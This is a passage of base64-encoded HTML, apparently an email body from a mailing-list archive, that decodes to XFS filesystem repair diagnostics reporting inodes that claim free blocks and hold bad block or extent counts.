MyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0 ZWw6OTMxMzg2MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT45MzEzODYwPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi PmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjkwNjM3MCI+PGZvbnQgc2l6 ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjkwNjM3MDwvdT48L2ZvbnQ+ PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8 L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTM4NjEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZG IiBmYWNlPSJzZXJpZiI+PHU+OTMxMzg2MTwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAyNDQgZm9yIGlub2RlIDwvZm9udD48YSBocmVm PSJ0ZWw6MTY5MDYzNzAiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+MTY5MDYzNzA8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ LCB3b3VsZCByZXNldCB0byAyNTc8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjkwODg4OCI+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjkwODg4ODwvdT48L2Zv bnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9j ayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMDU4MTMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMwNTgxMzwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6 MTY5MDg4ODgiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+ MTY5MDg4ODg8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7 Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzA1ODE0Ij48Zm9udCBzaXpl PSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMDU4MTQ8L3U+PC9mb250Pjwv YT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMjQxNyBmb3Ig aW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjkxMTM2OCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjkxMTM2ODwvdT48L2ZvbnQ+PC9hPjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDI0MTY8L2ZvbnQ+PGJyPg0KPGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDk1MCBmb3IgaW5vZGUgPC9mb250 PjxhIGhyZWY9InRlbDoxNjkxMjY4MiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZh Y2U9InNlcmlmIj48dT4xNjkxMjY4MjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDk0OTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTE2Njg2 Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTE2Njg2 PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBm cmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6NTA5NjM5NiI+PGZvbnQgc2l6ZT0iMyIgY29s b3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT41MDk2Mzk2PC91PjwvZm9udD48L2E+PGJyPg0K PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhy ZWY9InRlbDoxNjkxNjY4NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNl cmlmIj48dT4xNjkxNjY4NjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjUwOTYzOTciPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+NTA5NjM5NzwvdT48 L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4g aW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5MjIwNzciPjxmb250IHNpemU9IjMiIGNvbG9yPSIj MDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5MjIwNzc8L3U+PC9mb250PjwvYT48Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9 InRlbDo5MzExODU5Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYi Pjx1PjkzMTE4NTk8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTIyMDc3Ij48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTIyMDc3PC91PjwvZm9u dD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2Nr IDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxMTg2MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAw RkYiIGZhY2U9InNlcmlmIj48dT45MzExODYwPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDox NjkyMzA3MiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4x NjkyMzA3MjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtj bGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjEwNzcxODM4NTQiPjxmb250IHNp emU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTA3NzE4Mzg1NDwvdT48L2Zv bnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAyMzUw IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTIzMDcyIj48Zm9udCBzaXplPSIzIiBj b2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTIzMDcyPC91PjwvZm9udD48L2E+PGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMjM1NDwvZm9udD48YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEg aHJlZj0idGVsOjE2OTIzNTQ5Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0i c2VyaWYiPjx1PjE2OTIzNTQ5PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMwNDczMyI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzA0NzMzPC91 PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBp biBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjkyMzU0OSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjkyMzU0OTwvdT48L2ZvbnQ+PC9hPjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJl Zj0idGVsOjkzMDQ3MzQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+OTMwNDczNDwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj5iYWQgbmJsb2NrcyAxMDE2IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTIz NTQ5Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTIz NTQ5PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVz ZXQgdG8gMTAyNTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBm b3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTI3NDE3Ij48Zm9udCBzaXplPSIzIiBj b2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTI3NDE3PC91PjwvZm9udD48L2E+PGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48 YSBocmVmPSJ0ZWw6OTMyMTQ5NSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9 InNlcmlmIj48dT45MzIxNDk1PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjkyNzQxNyI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjkyNzQxNzwv dT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJl ZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMjE0OTYiPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMyMTQ5NjwvdT48L2ZvbnQ+PC9hPjxicj4NCjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbWFnaWMgIyAweDIwMzEzMDMwIGluIGlub2Rl IDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5Mjc3MjEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5Mjc3MjE8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+Jm5ic3A7KGRhdGEgZm9yaykgYm1idCBibG9jayA8L2ZvbnQ+PGEgaHJl Zj0idGVsOjkzMDU1MzQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+OTMwNTUzNDwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj5iYWQgZGF0YSBmb3JrIGluIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5Mjc3MjEi Pjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5Mjc3MjE8 L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+d291bGQgaGF2 ZSBjbGVhcmVkIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5Mjc3MjEiPjxmb250IHNpemU9 IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5Mjc3MjE8L3U+PC9mb250Pjwv YT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2Zv bnQ+PGEgaHJlZj0idGVsOjE2OTI4NDUwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIg ZmFjZT0ic2VyaWYiPjx1PjE2OTI4NDUwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMx ODQ4MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzE4 NDgwPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEg Zm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjkyODQ1MCI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjkyODQ1MDwvdT48L2ZvbnQ+PC9hPjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+ PGEgaHJlZj0idGVsOjkzMTg0ODEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNl PSJzZXJpZiI+PHU+OTMxODQ4MTwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj5iYWQgbmJsb2NrcyAyNDEgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6 MTY5MzgzNjMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+ MTY5MzgzNjM8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3Vs ZCByZXNldCB0byAyNDA8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJh ZCBuYmxvY2tzIDI4OSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjk0MDQwMCI+PGZv bnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk0MDQwMDwvdT48 L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDI1 NzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5leHRlbnRzIDMy IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQwNDAwIj48Zm9udCBzaXplPSIzIiBj b2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQwNDAwPC91PjwvZm9udD48L2E+PGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMzE8L2ZvbnQ+PGJyPg0K PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhy ZWY9InRlbDoxNjk0MjEyMiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNl cmlmIj48dT4xNjk0MjEyMjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMDQxNDMiPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMwNDE0MzwvdT48 L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4g aW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5NDIxMjIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIj MDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5NDIxMjI8L3U+PC9mb250PjwvYT48Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9 InRlbDo5MzA0MTQ0Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYi Pjx1PjkzMDQxNDQ8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+YmFkIG5ibG9ja3MgMTA2IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQyMTIy Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQyMTIy PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQg dG8gMTEzPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsg aW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5NDY0MDUiPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5NDY0MDU8L3U+PC9mb250PjwvYT48Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhy ZWY9InRlbDo5MzExNDQzIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1PjkzMTE0NDM8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQ2NDA1Ij48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQ2NDA1PC91Pjwv Zm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJs b2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxMTQ0NCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMw MDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzExNDQ0PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDEwNTMgZm9yIGlub2RlIDwvZm9udD48 YSBocmVmPSJ0ZWw6MTY5NDY0MDUiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNl PSJzZXJpZiI+PHU+MTY5NDY0MDU8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+LCB3b3VsZCByZXNldCB0byAxMDU3PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5NDg3NzYi Pjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5NDg3NzY8 L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZy ZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzE3NjY1Ij48Zm9udCBzaXplPSIzIiBjb2xv cj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMTc2NjU8L3U+PC9mb250PjwvYT48YnI+DQo8 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJl Zj0idGVsOjE2OTQ4Nzc2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1PjE2OTQ4Nzc2PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi PiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxNzY2NiI+PGZv bnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzE3NjY2PC91Pjwv Zm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDY4 MSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjk0ODc3NiI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk0ODc3NjwvdT48L2ZvbnQ+PC9hPjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDY4OTwvZm9udD48YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgNTYyIGZvciBpbm9kZSA8 L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQ5MDExIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBG RiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQ5MDExPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNTYxPC9mb250Pjxicj4NCjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj5iYWQgbmV4dGVudHMgMjAwIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJl Zj0idGVsOjE2OTQ5MDExIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1PjE2OTQ5MDExPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi Piwgd291bGQgcmVzZXQgdG8gMTk5PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5NTE1MzAiPjxmb250 IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5NTE1MzA8L3U+PC9m b250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxv Y2sgPC9mb250PjxhIGhyZWY9InRlbDo4NDE4OTY4Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAw MDBGRiIgZmFjZT0ic2VyaWYiPjx1Pjg0MTg5Njg8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVs OjE2OTU3Mjk2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1 PjE2OTU3Mjk2PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNw O2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6ODQzNTY0MyI+PGZvbnQgc2l6 ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT44NDM1NjQzPC91PjwvZm9udD48 L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDE0MiBmb3Ig aW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjk1NzI5NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk1NzI5NjwvdT48L2ZvbnQ+PC9hPjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDE0NTwvZm9udD48YnI+DQo8Zm9u dCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0i dGVsOjE2OTYwMzYyIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYi Pjx1PjE2OTYwMzYyPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZu YnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMyMDc5NSI+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzIwNzk1PC91PjwvZm9u dD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8g PC9mb250PjxhIGhyZWY9InRlbDoxNjk2MDM2MiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAw RkYiIGZhY2U9InNlcmlmIj48dT4xNjk2MDM2MjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVs OjkzMjA3OTYiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+ OTMyMDc5NjwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5i YWQgbmJsb2NrcyA1MSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjk2MDM2MiI+PGZv bnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk2MDM2MjwvdT48 L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDY1 PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5v IDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5NjUwMjkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5NjUwMjk8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRl bDo5MzA0NDEyIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1 